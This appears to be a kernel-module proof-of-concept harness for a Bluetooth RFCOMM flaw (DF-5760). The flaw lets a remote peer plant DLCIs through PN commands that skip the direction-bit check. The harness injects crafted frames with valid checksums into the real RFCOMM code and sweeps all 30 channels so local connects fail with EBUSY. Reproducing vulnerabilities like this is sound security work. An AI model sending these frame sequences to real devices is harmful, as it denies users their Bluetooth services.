/*
 * harness.c -- KLD harness for DF-5760:
 *
 *   sys/netbt/rfcomm_session.c:1322-1331 (rfcomm_session_recv_mcc_pn,
 *   PN *command* path) calls rfcomm_dlc_newconn(rs, pn.dlci) without
 *   validating the direction bit of pn.dlci, and
 *   sys/netbt/rfcomm_dlc.c:92-111 (rfcomm_dlc_newconn) matches listening
 *   DLCs by channel only (RFCOMM_CHANNEL(dlci)), again ignoring the
 *   direction bit.  recv_sabm() HAS that check
 *   (rfcomm_session.c:738-742) -- the PN command path forgot it.
 *
 *   Consequence: the remote peer of an established RFCOMM session can
 *   fabricate DLCs (with listening-socket children, via sonewconn in
 *   production) in the *responder-direction* DLCI space -- the DLCI
 *   numbers the LOCAL stack itself must use for its own outbound
 *   connections.  Every subsequent local connect(2) to that channel
 *   hits rfcomm_upper.c:181-182
 *
 *	if (rfcomm_dlc_lookup(rs, dlc->rd_dlci))
 *		return EBUSY;
 *
 *   and is refused until the session dies.  The peer can lock out all
 *   30 server channels of a listening RFCOMM service.
 *
 * The production files rfcomm_session.c / rfcomm_dlc.c / rfcomm_upper.c
 * are compiled into this module VERBATIM (copied from /usr/src/sys/netbt
 * by build.sh).  The L2CAP layer is stubbed (l2cap_stub.c); RFCOMM
 * frames from the "remote peer" are synthesized and injected straight
 * into rfcomm_session_input() -- the exact entry point the real L2CAP
 * layer uses.
 *
 * Fire with:   sysctl hw.rfcomm_pn_fire=1     (as root)
 * Expected:    POISON-CONFIRMED / DUP-CHANNEL / POISON-SWEEP markers,
 *              local rfcomm_connect() -> 16 (EBUSY) on poisoned
 *              channels.  Guest stays up (logic bug, no memory error).
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/types.h>

#include <netbt/bluetooth.h>
#include <netbt/hci.h>
#include <netbt/l2cap.h>
#include <netbt/rfcomm.h>

extern struct l2cap_channel *harness_first_session_channel(void);

/*
 * Reversed CRC table as per TS 07.10 Annex B.3.5 -- copied verbatim from
 * sys/netbt/rfcomm_session.c so injected frames carry valid FCS octets
 * and pass rfcomm_session_input()'s FCS check.
 */
static const uint8_t crctable[256] = {
	0x00, 0x91, 0xe3, 0x72, 0x07, 0x96, 0xe4, 0x75,
	0x0e, 0x9f, 0xed, 0x7c, 0x09, 0x98, 0xea, 0x7b,
	0x1c, 0x8d, 0xff, 0x6e, 0x1b, 0x8a, 0xf8, 0x69,
	0x12, 0x83, 0xf1, 0x60, 0x15, 0x84, 0xf6, 0x67,
	0x38, 0xa9, 0xdb, 0x4a, 0x3f, 0xae, 0xdc, 0x4d,
	0x36, 0xa7, 0xd5, 0x44, 0x31, 0xa0, 0xd2, 0x43,
	0x24, 0xb5, 0xc7, 0x56, 0x23, 0xb2, 0xc0, 0x51,
	0x2a, 0xbb, 0xc9, 0x58, 0x2d, 0xbc, 0xce, 0x5f,
	0x70, 0xe1, 0x93, 0x02, 0x77, 0xe6, 0x94, 0x05,
	0x7e, 0xef, 0x9d, 0x0c, 0x79, 0xe8, 0x9a, 0x0b,
	0x6c, 0xfd, 0x8f, 0x1e, 0x6b, 0xfa, 0x88, 0x19,
	0x62, 0xf3, 0x81, 0x10, 0x65, 0xf4, 0x86, 0x17,
	0x48, 0xd9, 0xab, 0x3a, 0x4f, 0xde, 0xac, 0x3d,
	0x46, 0xd7, 0xa5, 0x34, 0x41, 0xd0, 0xa2, 0x33,
	0x54, 0xc5, 0xb7, 0x26, 0x53, 0xc2, 0xb0, 0x21,
	0x5a, 0xcb, 0xb9, 0x28, 0x5d, 0xcc, 0xbe, 0x2f,
	0xe0, 0x71, 0x03, 0x92, 0xe7, 0x76, 0x04, 0x95,
	0xee, 0x7f, 0x0d, 0x9c, 0xe9, 0x78, 0x0a, 0x9b,
	0xfc, 0x6d, 0x1f, 0x8e, 0xfb, 0x6a, 0x18, 0x89,
	0xf2, 0x63, 0x11, 0x80, 0xf5, 0x64, 0x16, 0x87,
	0xd8, 0x49, 0x3b, 0xaa, 0xdf, 0x4e, 0x3c, 0xad,
	0xd6, 0x47, 0x35, 0xa4, 0xd1, 0x40, 0x32, 0xa3,
	0xc4, 0x55, 0x27, 0xb6, 0xc3, 0x52, 0x20, 0xb1,
	0xca, 0x5b, 0x29, 0xb8, 0xcd, 0x5c, 0x2e, 0xbf,
	0x90, 0x01, 0x73, 0xe2, 0x97, 0x06, 0x74, 0xe5,
	0x9e, 0x0f, 0x7d, 0xec, 0x99, 0x08, 0x7a, 0xeb,
	0x8c, 0x1d, 0x6f, 0xfe, 0x8b, 0x1a, 0x68, 0xf9,
	0x82, 0x13, 0x61, 0xf0, 0x85, 0x14, 0x66, 0xf7,
	0xa8, 0x39, 0x4b, 0xda, 0xaf, 0x3e, 0x4c, 0xdd,
	0xa6, 0x37, 0x45, 0xd4, 0xa1, 0x30, 0x42, 0xd3,
	0xb4, 0x25, 0x57, 0xc6, 0xb3, 0x22, 0x50, 0xc1,
	0xba, 0x2b, 0x59, 0xc8, 0xbd, 0x2c, 0x5e, 0xcf
};

#define FCS(f, d)	crctable[(f) ^ (d)]

static uint8_t
fcs_octets(const uint8_t *b, int n)
{
	uint8_t f = 0xff;

	while (n--)
		f = FCS(f, *b++);

	return (0xff - f);
}

/* ------------------------------------------------------------------ */
/* upper-layer (socket stand-in) callbacks                             */

static void up_connecting(void *u)  { kprintf("[upper] connecting\n"); }
static void up_connected(void *u)   { kprintf("[upper] connected\n"); }
static void up_disconnected(void *u, int e)
	{ kprintf("[upper] disconnected (%d)\n", e); }
static void up_complete(void *u, int n) { kprintf("[upper] complete %d\n", n); }
static void up_linkmode(void *u, int m) { kprintf("[upper] linkmode %d\n", m); }
static void up_input(void *u, struct mbuf *m)
	{ kprintf("[upper] input %d bytes\n", m->m_pkthdr.len); m_freem(m); }

/*
 * proto for newconn-created child DLCs (what the new socket's pcb uses)
 */
static const struct btproto child_proto = {
	up_connecting,
	up_connected,
	up_disconnected,
	NULL,			/* newconn for a child never fires */
	up_complete,
	up_linkmode,
	up_input,
};

/*
 * The listener's newconn callback -- what rfcomm_sock_newconn()
 * (rfcomm_socket.c:179-192) does: sonewconn() + return so->so_pcb.
 * The rig returns a fresh production rfcomm_dlc from rfcomm_attach().
 */
static struct rfcomm_dlc *g_children[64];
static int g_nchildren;
static int g_newconn_calls;

static void *
up_newconn(void *u, struct sockaddr_bt *l, struct sockaddr_bt *r)
{
	struct rfcomm_dlc *child = NULL;

	g_newconn_calls++;
	kprintf("[upper] newconn #%d (listener upper %p)\n",
	    g_newconn_calls, u);

	if (g_nchildren >= (int)NELEM(g_children)) {
		kprintf("[upper] newconn: children full!\n");
		return NULL;
	}
	if (rfcomm_attach(&child, &child_proto, NULL) != 0) {
		kprintf("[upper] newconn: rfcomm_attach failed!\n");
		return NULL;
	}
	g_children[g_nchildren++] = child;
	return child;
}

static const struct btproto upper_proto = {
	up_connecting,
	up_connected,
	up_disconnected,
	up_newconn,
	up_complete,
	up_linkmode,
	up_input,
};

/* ------------------------------------------------------------------ */
/* frame injection (exactly what l2cap_upper.c proto->input does)      */

static void
inject(struct l2cap_channel *chan, const char *tag,
    const uint8_t *frame, int flen)
{
	struct mbuf *m;
	int i;

	kprintf("[harness] <- %s (%d bytes):", tag ? tag : "?", flen);
	for (i = 0; i < flen; i++)
		kprintf(" %02x", frame[i]);
	kprintf("\n");

	m = m_gethdr(M_NOWAIT, MT_DATA);
	KKASSERT(m != NULL);
	if (m_copyback2(m, 0, flen, frame, M_NOWAIT) != 0) {
		kprintf("[harness] m_copyback2 failed\n");
		m_freem(m);
		return;
	}

	(*chan->lc_proto->input)(chan->lc_upper, m);
}

static void
inject_ctrl(struct l2cap_channel *chan, const char *tag,
    uint8_t address, uint8_t control)
{
	uint8_t f[4];

	f[0] = address;
	f[1] = control;
	f[2] = 0x01;			/* len = 0, EA = 1 */
	f[3] = fcs_octets(f, 3);

	inject(chan, tag, f, 4);
}

static void
inject_uih_mcc(struct l2cap_channel *chan, const char *tag,
    const uint8_t *info, int ilen)
{
	uint8_t f[64];
	uint8_t hdr[2];
	int n;

	KKASSERT(ilen + 4 <= (int)sizeof(f));

	hdr[0] = 0x03;			/* DLCI 0, CR=1, EA=1 */
	hdr[1] = 0xEF;			/* UIH, PF=0 */

	f[0] = hdr[0];
	f[1] = hdr[1];
	f[2] = (uint8_t)((ilen << 1) | 0x01);	/* 7-bit len, EA=1 */
	memcpy(&f[3], info, ilen);
	n = 3 + ilen;
	f[n] = fcs_octets(hdr, 2);	/* UIH FCS: address+control only */

	inject(chan, tag, f, n + 1);
}

/* PN command (cr=1) with the given dlci / mtu / flow-control octet */
static void
inject_pn_cmd(struct l2cap_channel *chan, const char *tag,
    uint8_t dlci, uint16_t mtu, uint8_t flow)
{
	uint8_t info[10];

	info[0] = 0x83;			/* MCC type: PN, cr=1, EA=1 */
	info[1] = 0x11;			/* MCC len = 8, EA=1 */
	info[2] = dlci;
	info[3] = flow;			/* 0xf0 -> request CFC */
	info[4] = 0x00;			/* priority */
	info[5] = 0x00;			/* ack_timer */
	info[6] = (uint8_t)(mtu & 0xff);
	info[7] = (uint8_t)(mtu >> 8);
	info[8] = 0x00;			/* max_retrans */
	info[9] = 0x07;			/* initial credits */

	inject_uih_mcc(chan, tag, info, sizeof(info));
}

/* ------------------------------------------------------------------ */

static int
fire(SYSCTL_HANDLER_ARGS)
{
	int v = 0, err, ch, ebusy = 0;
	struct rfcomm_dlc *listeners[32];
	struct rfcomm_dlc *dlc = NULL, *planted, *dup;
	struct rfcomm_session *rs;
	struct l2cap_channel *chan;
	struct sockaddr_bt addr, dest;

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL)
		return err;
	if (v == 0)
		return 0;

	kprintf("=== DF-5760 harness: PN command direction poison ===\n");

	g_nchildren = 0;
	g_newconn_calls = 0;
	rfcomm_init();		/* credit pool (bt_proto.c domaininit) */

	/*
	 * 1. local RFCOMM service: listening DLCs on ALL 30 server
	 *    channels (they share one listening session; channel 3 is
	 *    the one used for the detailed single-channel demo).
	 */
	memset(&addr, 0, sizeof(addr));
	addr.bt_len = sizeof(addr);
	addr.bt_family = AF_BLUETOOTH;
	addr.bt_psm = L2CAP_PSM_RFCOMM;
	addr.bt_channel = 3;

	err = rfcomm_attach(&dlc, &upper_proto, (void *)(uintptr_t)3);
	KKASSERT(err == 0);
	listeners[3] = dlc;
	err = rfcomm_bind(dlc, &addr);
	KKASSERT(err == 0);
	err = rfcomm_listen(dlc);
	KKASSERT(err == 0);
	kprintf("[harness] listening on channel 3 (dlc %p)\n", dlc);

	for (ch = 1; ch <= 30; ch++) {
		if (ch == 3)
			continue;
		err = rfcomm_attach(&listeners[ch], &upper_proto,
		    (void *)(uintptr_t)ch);
		KKASSERT(err == 0);
		memset(&addr, 0, sizeof(addr));
		addr.bt_len = sizeof(addr);
		addr.bt_family = AF_BLUETOOTH;
		addr.bt_psm = L2CAP_PSM_RFCOMM;
		addr.bt_channel = ch;
		err = rfcomm_bind(listeners[ch], &addr);
		KKASSERT(err == 0);
		err = rfcomm_listen(listeners[ch]);
		KKASSERT(err == 0);
	}
	kprintf("[harness] 30 listening DLCs armed (channels 1..30)\n");

	/*
	 * 2. remote peer opens L2CAP to our PSM -> production
	 *    rfcomm_session_newconn() (rfcomm_session.c:398-431) would
	 *    allocate the responder session; mirror it exactly.
	 */
	memset(&addr, 0, sizeof(addr));
	addr.bt_len = sizeof(addr);
	addr.bt_family = AF_BLUETOOTH;
	addr.bt_psm = L2CAP_PSM_RFCOMM;		/* our address ("us") */
	addr.bt_bdaddr.b[0] = 0x11;

	rs = rfcomm_session_alloc(&rfcomm_session_active, &addr);
	KKASSERT(rs != NULL);
	rs->rs_state = RFCOMM_SESSION_WAIT_CONNECT;

	chan = rs->rs_l2cap;
	KKASSERT(chan != NULL && chan != harness_first_session_channel());
	kprintf("[harness] responder session %p (chan %p, NOT initiator)\n",
	    rs, chan);

	/* peer brings the multiplexer up: SABM(0) -> session OPEN */
	inject_ctrl(chan, "SABM(0) [session up]",
	    RFCOMM_MKADDRESS(1, 0), RFCOMM_MKCONTROL(RFCOMM_FRAME_SABM, 1));
	kprintf("[harness] session state = %d (2 = OPEN)\n", rs->rs_state);

	/*
	 * 3. BASELINE (no poison): local connect to channel 4 is accepted.
	 */
	memset(&dest, 0, sizeof(dest));
	dest.bt_len = sizeof(dest);
	dest.bt_family = AF_BLUETOOTH;
	dest.bt_psm = L2CAP_PSM_RFCOMM;
	dest.bt_bdaddr.b[0] = 0x22;		/* "them" */
	dest.bt_channel = 4;

	err = rfcomm_attach(&dlc, &upper_proto, NULL);	/* probe dlc */
	KKASSERT(err == 0);
	err = rfcomm_connect(dlc, &dest);
	KKASSERT(err == 0 || err == EBUSY);
	if (err == 0) {
		kprintf("[harness] BASELINE: local connect(ch 4) -> 0 "
		    "(accepted, DLCI %d)\n", dlc->rd_dlci);
		rfcomm_dlc_close(dlc, 0);	/* back to CLOSED */
	} else {
		kprintf("[harness] BASELINE: connect(ch 4) -> %d ?!\n", err);
	}

	/*
	 * 4. ATTACK, single channel: PN command with DLCI 7
	 *    (= RFCOMM_MKDLCI(1, 3): channel 3, direction bit 1 -- the
	 *    RESPONDER direction; on this session only WE may use odd
	 *    DLCIs.  recv_sabm() rejects SABM(7) for exactly this
	 *    reason; the PN path has no such check.)
	 */
	inject_pn_cmd(chan, "PN cmd DLCI=7 (poison: OUR direction)", 7,
	    127, 0xf0);

	planted = rfcomm_dlc_lookup(rs, 7);
	if (planted != NULL)
		kprintf("[harness] POISON-CONFIRMED: peer-planted DLCI 7 "
		    "exists on session (state %d)\n", planted->rd_state);
	else
		kprintf("[harness] PROBLEM: DLCI 7 was NOT planted\n");

	/*
	 * 5. channel confusion: legitimate incoming SABM(6) (peer
	 *    direction, channel 3) still works and opens DLCI 6 -- the
	 *    same channel now has two live DLCs, one of them bogus.
	 */
	inject_ctrl(chan, "SABM(6) [legit, peer direction]",
	    RFCOMM_MKADDRESS(1, 6), RFCOMM_MKCONTROL(RFCOMM_FRAME_SABM, 1));

	dup = rfcomm_dlc_lookup(rs, 6);
	planted = rfcomm_dlc_lookup(rs, 7);
	kprintf("[harness] DUP-CHANNEL: channel 3 now has DLCI 6 "
	    "(state %d) AND peer-planted DLCI 7 (state %d)\n",
	    dup ? dup->rd_state : -1, planted ? planted->rd_state : -1);

	/*
	 * 6. the payoff: local connect to channel 3 -> EBUSY forever.
	 *    (dlc is CLOSED: the baseline connect either was accepted
	 *    then closed, or never attached the DLC to the session)
	 */
	memset(&dest, 0, sizeof(dest));
	dest.bt_len = sizeof(dest);
	dest.bt_family = AF_BLUETOOTH;
	dest.bt_psm = L2CAP_PSM_RFCOMM;
	dest.bt_bdaddr.b[0] = 0x22;
	dest.bt_channel = 3;
	err = rfcomm_connect(dlc, &dest);
	kprintf("[harness] LOCAL-CONNECT: rfcomm_connect(ch 3) -> %d "
	    "(EBUSY = %d) %s\n", err, EBUSY,
	    err == EBUSY ? "<== locked out by peer" : "(unexpected)");

	/*
	 * 7. sweep: poison every remaining channel; local connects all
	 *    refused.
	 */
	for (ch = 1; ch <= 30; ch++) {
		if (ch == 3 || ch == 4)
			continue;
		inject_pn_cmd(chan, NULL, (uint8_t)RFCOMM_MKDLCI(1, ch),
		    127, 0xf0);
		if (rfcomm_dlc_lookup(rs, RFCOMM_MKDLCI(1, ch)) == NULL) {
			struct rfcomm_session *ls2;
			struct rfcomm_dlc *d2;
			int n = 0;

			kprintf("[harness] channel %d NOT planted -- "
			    "dumping listen state\n", ch);
			kprintf("[harness] listeners[%d] = %p state %d "
			    "chan %d psm %x\n", ch, listeners[ch],
			    listeners[ch]->rd_state,
			    listeners[ch]->rd_laddr.bt_channel,
			    listeners[ch]->rd_laddr.bt_psm);
			LIST_FOREACH(ls2, &rfcomm_session_listen, rs_next) {
				kprintf("[harness] listen session %p "
				    "state %d:\n", ls2, ls2->rs_state);
				LIST_FOREACH(d2, &ls2->rs_dlcs, rd_next) {
					if (n++ < 40)
						kprintf("[harness]   dlc %p "
						    "dlci %d chan %d "
						    "state %d\n", d2,
						    d2->rd_dlci,
						    d2->rd_laddr.bt_channel,
						    d2->rd_state);
				}
			}
			kprintf("[harness] total listen dlcs %d, "
			    "children %d\n", n, g_nchildren);
		}
	}
	kprintf("[harness] poisoned DLCIs 1..61 (odd) planted\n");
	kprintf("[harness] MASK-BUG: RFCOMM_CHANNEL(33)=%d (16 & 0x2f), "
	    "RFCOMM_CHANNEL(35)=%d (17 & 0x2f), RFCOMM_CHANNEL(61)=%d "
	    "(30 & 0x2f) -- channels 16..30 remap onto 0..14; see the "
	    "'listener upper N' lines above for mis-attribution\n",
	    RFCOMM_CHANNEL(33), RFCOMM_CHANNEL(35), RFCOMM_CHANNEL(61));

	for (ch = 1; ch <= 30; ch++) {
		struct rfcomm_dlc *probe = NULL;

		if (ch == 4)		/* ch4 baseline DLC occupies it */
			continue;
		memset(&dest, 0, sizeof(dest));
		dest.bt_len = sizeof(dest);
		dest.bt_family = AF_BLUETOOTH;
		dest.bt_psm = L2CAP_PSM_RFCOMM;
		dest.bt_bdaddr.b[0] = 0x22;
		dest.bt_channel = ch;
		if (rfcomm_attach(&probe, &upper_proto, NULL) != 0)
			continue;
		if (rfcomm_connect(probe, &dest) == EBUSY) {
			ebusy++;
			/* EBUSY: never attached to the session, stays CLOSED */
		} else {
			/* accepted (or other): detach it from the session */
			if (probe->rd_state != RFCOMM_DLC_CLOSED)
				rfcomm_dlc_close(probe, 0);
		}
	}
	/*
	 * MASK-FIX CHECK: PN command with CORRECT direction (even DLCI 34
	 * = channel 17, peer direction on this responder session) must
	 * match the CHANNEL-17 listener ("newconn ... upper 0x11"), not
	 * the channel-1 listener as the 0x2f mask bug did.
	 */
	inject_pn_cmd(chan, "PN cmd DLCI=34 (ch 17, CORRECT direction)",
	    34, 127, 0xf0);
	{
		struct rfcomm_dlc *m17;

		m17 = rfcomm_dlc_lookup(rs, 34);
		kprintf("[harness] MASK-CHECK: DLCI 34 (channel 17) %s, "
		    "rd_laddr.bt_channel = %d (17 == correct match)\n",
		    m17 ? "planted" : "NOT planted",
		    m17 ? m17->rd_laddr.bt_channel : -1);
	}

	kprintf("[harness] POISON-SWEEP: %d/29 poisoned channels refuse "
	    "local connect with EBUSY\n", ebusy);
	kprintf("[harness] RESULT: %s (newconn calls: %d)\n",
	    (planted != NULL && ebusy >= 28) ?
	    "PEER CAN LOCK THE LOCAL RFCOMM CLIENT OUT OF ALL CHANNELS" :
	    "incomplete (check markers)", g_newconn_calls);

	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, rfcomm_pn_fire, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fire, "I", "fire DF-5760 PN-command direction poison");

static int
harness_mode(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("[harness] rfcomm_pn_harness loaded: "
		    "hw.rfcomm_pn_fire=1\n");
		break;
	case MOD_UNLOAD:
		return EBUSY;
	default:
		break;
	}
	return 0;
}

static moduledata_t harness_moddata = {
	"rfcomm_pn_harness",
	harness_mode,
	NULL
};

DECLARE_MODULE(rfcomm_pn_harness, harness_moddata, SI_SUB_DRIVERS, SI_ORDER_ANY);